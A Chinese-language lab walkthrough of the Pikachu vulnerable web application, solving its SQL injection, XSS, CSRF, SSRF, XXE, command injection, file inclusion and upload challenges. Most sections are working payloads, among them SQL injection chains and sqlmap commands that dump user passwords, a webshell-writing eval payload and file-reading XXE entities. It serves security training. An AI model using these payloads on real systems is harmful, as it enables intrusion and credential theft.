pikachu


一、环境配置

1 下载

official::phpstudy

official::pikachu

2 数据库错误

问题:Warning: mysqli_connect()

解决:

  1. 在phpstudy中新增一个数据库,名字最好是pikachu。
  2. 配置./inc/config.inc.php文件中的数据库名、用户名、密码。

问题:Fatal error: Uncaught Error: Call to a member function bind_param()

解决:访问http://127.0.0.1/pikachu/installl.php,重装数据库。


二、暴力破解

用户信息在提示中。

1 表单

步骤:

  1. 在网站中输入任意数据,使用burp suite进行抓包。
  2. 将数据包发给Intruder。
  3. Positions:攻击参数选定username,password,攻击方式选择集束炸弹。
  4. Payloads:载入字典进行攻击。
  5. 点击结果中的长度,正确的页面的长度和错误的是不一样的。找到不同的长度的界面,记下用户名和密码后到界面中进行验证。

2 验证码(on server)

服务器端验证,且验证码重发表不会改变。因此只需输入一次正确的验证码,然后抓包,按表单后续爆破步骤即可。

3 验证码(on client)

客户端验证,仅在客户端验证。因此可以在前端输入正确验证码,或者直接禁用JS不输入验证码。后续抓包在数据包中可以不带有验证码,然后按表单后续爆破步骤即可。

4 token

  1. 正常抓包,发现包中携带token信息。
  2. 通过重发器修改账号或密码重复,发现响应包中出现csrf token error报错。同时会发现包中有一个标签:<input type="hidden" name="token" value="..." />
  3. 将该token带入到包中重发,发现不报csrf token error错误,可以猜测每次响应包的token的value是下一次的token值。
  4. 将包发送给Intruder,选定username,password,token。因为每次的token只用一次,所以攻击方式选择音叉。
  5. Payloads:username和password不变。token的有效载荷类型选择递归搜索。
  6. Potions:Payload选择3(token),在请求引擎中修改线程数为1(因为token要由上一个请求产生)。在Grep-Extract中点击添加,找到<input type="hidden" name="token" value="..." />,选中value中的值,点击OK。
  7. 攻击,验证结果。

5 修复方法

  1. 登陆错误次数过多锁定账户或IP。
  2. 验证码在后端验证且需要刷新。

三、Over Permission

1 水平越权

越权方法:

  1. 正常登录任意一个用户。(用户信息在提示中)
  2. 点击查看个人信息后发现url变成:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF,修改username为其他账户名即可完成越权。
// 修复方法

// 使用session进行身份校验,在op1_mem.php的27行左右添加如下代码。
if( $_SESSION['op']['username'] == $_GET['username'])
{
$username=escape($link, $_GET['username']);
}
else{ return ;}

2 垂直越权

越权方法:

  1. 登录admin
  2. 添加用户和删除刚刚添加的用户,发现添加用户的url为http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php,删除用户的url为http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php?id=25。多次创建删除后发现id会递增,所以下次删除的id应当是最后一个删除的id+1
  3. 登录pikachu,直接访问http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php,发现可以访问成功,添加一个用户。
  4. 登录admin发现用户存在,表明可以越权添加用户。
  5. 登录pikachu,直接访问http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php?id=27,再次登录admin,发现用户依旧存在,说明不能越权删除用户。
// 修复方法

// 添加级别验证,在op2_admin_edit.php的22行左右进行代码修改。
if(!check_op2_login($link))
// 修改为
if(!check_op2_login($link) || $_SESSION['op2']['level'] != 1)

四、目录遍历

1 目录遍历

遍历方法:

  1. 点击we're jarheads!,URL变成了http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
  2. 修改URL为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../burteforce/bf_form.php,发现可以跳转到其他页面。
  3. 修改URL为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../../Windows/win.ini,可以获得系统文件信息。
// 修复方法


// 修改dir_list.php的第20左右的代码,使用basename()函数确保只获取文件名部分,而不包含路径信息
$filename = basename($filename);
// 后续也可以检查文件名是否符合预期的格式,例如只允许字母、数字和下划线等字符
if(preg_match('/^[a-zA-Z0-9_]+$/', $filename)){}

五、SQL注入

1 数字型注入

# POST请求如下
# 1.列数
id=1 order by 3#&submit=%E6%9F%A5%E8%AF%A2

# 2.库名
id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2

# 3.表名
id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema = database()#&submit=%E6%9F%A5%E8%AF%A2

# 4.列名
id=1 union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = "users"#&submit=%E6%9F%A5%E8%AF%A2

# 5.数据
id=1 union select group_concat(username," ",password),2 from users#&submit=%E6%9F%A5%E8%AF%A2

2 字符型注入

# GET请求如下
# 1.列数
?name=1' order by 3#&submit=%E6%9F%A5%E8%AF%A2

# 2.库名
?name=1' union select database(),2#&submit=%E6%9F%A5%E8%AF%A2

# 3.表名
?name=1' union select group_concat(table_name),2 from information_schema.tables where table_schema = database()#&submit=%E6%9F%A5%E8%AF%A2

# 4.列名
?name=1' union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = "users"#&submit=%E6%9F%A5%E8%AF%A2

# 5.数据
?name=1' union select group_concat(username," ",password),2 from users -- &submit=%E6%9F%A5%E8%AF%A2

3 搜索型注入

# 同理于字符型,把name=1' 改成 name=1%',同时本次注入的表有三列,所以要select三个参数
?name=1%' union select group_concat(username," ",password),2,3 from users -- &submit=%E6%9F%A5%E8%AF%A2

4 xx型注入

# 同理于字符型,只是把name=1' 改成 name=1')即可
?name=1%' union select group_concat(username," ",password),2 from users -- &submit=%E6%9F%A5%E8%AF%A2

5 “insert/update”注入

报错:Warning: Use of undefined constant MYSQL_ASSOC...\sqli_mem.php on line 66

解决方法:修改sqli_mem.php的66行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);

报错:Warning: Use of undefined constant MYSQL_ASSOC ...\sqli_edit.php on line 75

解决方法:修改sqli_edit.php的75行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);

# insert的URL为:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php
# POST请求如下
# 1.猜闭合
username=xixi','111')#&password=a&sex=&phonenum=&email=&add=&submit=submit

# 2.库名
username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=a&sex=&phonenum=&email=&add=&submit=submit

# 3.表名
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=a&sex=&phonenum=&email=&add=&submit=submit

# 4.列名
payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=a&sex=&phonenum=&email=&add=&submit=submit

# 5.数据
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=a&sex=&phonenum=&email=&add=&submit=submit


# update的URL为:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_edit.php
# POST请求如下
# 1.猜闭合
sex=1''&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit

# 2.库名
sex=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # &phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit

# 3.表名
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit

# 4.列名
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit

# 5.数据
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=phone&add=301&email=%E7%BF%BB%E6%96%97%E5%A4%A7%E8%A1%97%E7%BF%BB%E6%96%97%E8%8A%B1%E5%9B%AD&submit=submit

6 “delete”注入

# GET请求如下
# 1.库名
?id=59 and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

# 2.表名
?id=59 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #

# 3.列名
?id=59 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)#

# 4.数据
?id=59 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)#

7 “http header”注入

先登录,登录会发一个包,登录成功会再发一个包。抓取第二个包进行操作。

# 修改User-Agent
# 1.猜闭合
'' and 1=2 #

# 2.库名
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

# 3.表名
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

# 4.列名
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '


# 5.数据
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,' ',password)) from users),1,31),0x7e),1) or '

8 布尔盲注

# 1.库名
python sqlmap -u 172.22.124.198/pikachu/vul/sqli/sqli_blind_b.php --current-db --form

# 2.表名
python sqlmap -u 172.22.124.198/pikachu/vul/sqli/sqli_blind_b.php -D 'pikachu' --tables --form

# 3.列名
python sqlmap -u 172.22.124.198/pikachu/vul/sqli/sqli_blind_b.php -D 'pikachu' -T 'users' --columns --form

# 4.数据
python sqlmap -u 172.22.124.198/pikachu/vul/sqli/sqli_blind_b.php -D 'pikachu' -T 'users' -C 'username,password' --dump --form

9 时间盲注

同理布尔盲注,修改网址即可。

# 4.数据
python sqlmap -u 172.22.124.198/pikachu/vul/sqli/sqli_blind_t.php -D 'pikachu' -T 'users' -C 'username,password' --dump --form

10 宽字节注入

# 1.列数
name=1%81' order by 3 # &submit=%E6%9F%A5%E8%AF%A2

# 2.库名
name=1%81' union select database(),1 # &submit=%E6%9F%A5%E8%AF%A2


# 后续是理论payload,实际运行时会报错。
# 3.表名
name=1%81' union select group_concat(table_name),2 from information_schema.tables where table_schema = database() # &submit=%E6%9F%A5%E8%AF%A2

# 4.列名
name=1%81' union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = "users"#&submit=%E6%9F%A5%E8%AF%A2

# 5.数据
name=1%81' union select group_concat(username," ",password),2 from users # &submit=%E6%9F%A5%E8%AF%A2

六、PHP反序列化

1 反序列化

通过源码可知服务器会反序列化S类构造的对象并输出系统的test值,所以可以按下列代码构造payload。

# 序列化结果
<?php
class S
{
public $test = "";

public function __construct($test)
{
$this->test = $test;
}
}

$user = new S("<script>alert('123')</script>");
echo serialize($user);
?>

# payload:o=O:1:"s":1:{s:4:"test";s:29:"<script>alert('123')</script>";}

七、XSS漏洞

1 反射型xss(get)

前端有长度限制。

可以选择F12解除限制。也可以选择直接构造数据包。

payload:?message=<script>alert('111')</script>&submit=submit

2 反射型xss(post)

登录后,抓包看post参数,修改即可。

因为此次登录有cookie,所以可以输出cookie对cookie进行盗取。

payload:message=<script>alert(document.cookie);</script>&submit=submit

3 存储型xss

此次构造的语句会存储在服务器中,所以每次打开页面都会触发。

payload:?message=<script>alert('111')</script>&submit=submit

4 DOM型xss

任意输入,F12查看源码,发现主要源码为:document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

所以只需构造payload闭合左右即可。

不要用引号包裹输出的值,引号会被过滤。可以直接不写引号或者用反引号。

payload:'><img src=x onerror=alert(111)
payload:'><img src=x onerror=alert(`111`)

5 DOM型xss-x

任意输入,弹出链接。点击后出现另一条链接。

F12查看源码,根据源码发现和上一题类似,并且这次的参数在URL中。所以只需在点击第一个链接后把构造payload后回车,页面刷新。然后再次点击第一个链接后就会触发漏洞。

payload:?text='><img src="error" onerror='alert(`xss`)#

6 xss之盲打

抓包,修改参数,直接输入payload:content=<script>alert('Opinion is an injection point')</script>&name=<script>alert('Name is an injection point')</script>&submit=%E6%8F%90%E4%BA%A4

没有回显,查看提示是要到后台进行查看。进入后台查看,发现弹出Opinion is an injection point,说明看法输入框和大名输入框都是注入点。

7 xss之过滤

输入<> . * () script img src onerrror,发现只剩下img src onerrror,说明前面的字符可能被过滤。

所以直接用:?message=<img src="1" onerror=alert('111');>&submit=submit

8 xss之htmlspecialchars

有htmlspecialchars()函数对输入进行编码,但是单引号没有被编码且该语句插入在a标签中。

所以可以用如下payload:?message=' onclick='alert(123)&submit=submit。闭合引号,将语句插入a标签。

9 xss之href输出

正常输入,F12,发现左右尖括号和单引号被编码了。因为数据直接被插入到a的href中,所以可以直接构造一个javascript:alert('123')插入到href中被执行。

所以payload为:?message=javascript:alert('123')&submit=submit

10 xss值js输出

随便输入数据,回车。F12,发现数据被插在了$ms=' ';里面

所以可以考虑闭合来插入一条独立语句。

所以payload为:http://127.0.0.1/pikachu/vul/xss/xss_04.php?message=';alert('1');//&submit=submit


八、CSRF漏洞

报错:Warning: Use of undefined constant MYSQL_ASSOC...

解决方法:修改对应文件夹下的csrf_get_edit.php的对应行为$data=mysqli_fetch_array($result, MYSQLI_ASSOC);

1 CSRF (get)

依据原理,先登录,然后抓包,修改包,发现数据修改成功。说明有CSRF漏洞,攻击者可以在用户登录成功后,让用户点击恶意链接来发送构造后的包,从而达到攻击者修改用户信息的目的。

Payload:?sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

2 CSRF (post)

同理get,只不过请求方式改变而已。

Payload:sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit

<!--在页面中恶意构造下列语句,将自动提交表单。若受害者登录后CSRF漏洞将会被触发-->
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://ip/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>

3 CSRF Token

此页面必须携带token,且新token每次都会在响应页面中。所以要多次修改数据,必须查看页面中的token,类似暴力破解的token生成。

payload:?sex=cat&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&token=9993964ffb4e0353a8081347169&submit=submit


九、SSRF漏洞

1 SSRF(curl)

点击链接,发现在url中可以包含http请求。

构造如下payload来测试端口是否开放:?url=http://127.0.0.1:3306

也可以利用burp suite对端口进行大范围扫描。

2 SSRF(file_get_content)

点击链接,发现在url中可以包含http请求。

因为该漏洞产生的函数是file_get_content,所以可以利用伪协议来读取文件。

payload:?file=php://filter/read=convert.base64-encode/resource=ssrf.php包含源码。

payload:?file:///c:/windows/win.ini读取系统文件。


十、URL重定向

1 不安全的URL跳转

点击最后一个链接,直接修改url参数访问别的URL即可。

payload:?url=http://www.bilibili.com


十一、敏感信息泄露

1 IcanseeyourABC

F12,找到密码栏对应的html,发现下面有账号和密码:lili/123456。

登录成功后,记录URL,退出登录。直接访问http://127.0.0.1/pikachu/vul/infoleak/abc.php,发现可以访问成功。


十二、XXE漏洞

1 XXE

存在XXE漏洞,输入如下payload即可。

端口爆破时要在bp中开始攻击后,点击column——response received,查看响应时间,短表示开放。

<!--xxe回显-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "xxe" > ]> <foo>&xxe;</foo>

<!--读取系统文件-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo>&xxe;</foo>

<!--读取源码-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php" > ]> <foo>&xxe;</foo>

<!--端口爆破,可以开bp自动化爆破-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php" > ]> <foo>&xxe<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> <foo>&xxe;</foo>;</foo>

十三、RCE

1 exec “ping”

Payload:ping 127.0.0.1|whoami

2 exec “eval”

Payload:fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');,然后蚁剑连接。


十四、文件包含

1 本地文件包含

?filename=../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2


十五、文件上传

1 client check

该题是前端验证。可以在做好payload后,修改文件后缀为jpg,再用bp抓包改回php即可。

文件内容为:<?php phpinfo(); ?>

2 MIME type

该题为类型验证。做好payload后,修改文件后缀为jpg,再用bp抓包改回php即可。

文件内容为:<?php phpinfo(); ?>

3 getimagesize

图片判断函数。可以用copy 1.jpg /b + 2.txt /a 3.jpg拼接后上传图片。然后利用之前的文件包含漏洞访问该图片即可执行里面的php代码。

2.txt的内容为<?php phpinfo(); ?>